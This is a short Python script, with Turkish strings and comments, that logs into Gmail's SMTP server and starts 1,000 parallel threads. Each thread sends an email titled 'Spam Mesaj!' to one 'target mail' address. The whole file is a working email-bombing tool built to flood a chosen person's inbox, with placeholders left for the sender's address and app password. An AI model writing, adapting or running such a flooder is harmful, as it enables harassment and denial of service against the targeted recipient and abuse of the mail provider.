import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart import threading def send_mail(email_address, app_password, recipient_email): try: subject = 'Spam Mesaj!' body = 'Merhaba' message = MIMEMultipart() message['From'] = email_address message['To'] = recipient_email message['Subject'] = subject message.attach(MIMEText(body, 'plain')) with smtplib.SMTP('smtp.gmail.com', 587) as server: server.starttls() server.login(email_address, app_password) server.sendmail(email_address, recipient_email, message.as_string()) print("E-posta gönderildi!") except Exception as e: print("E-posta gönderme hatası:", e) def main(): # E-posta göndermek için gerekli bilgiler email_address = 'Your mail' app_password = 'App password' recipient_email = 'target mail' num_emails = 1000 # Gönderilecek e-posta sayısı threads = [] for _ in range(num_emails): thread = threading.Thread(target=send_mail, args=(email_address, app_password, recipient_email)) threads.append(thread) thread.start() for thread in threads: thread.join() if __name__ == "__main__": main()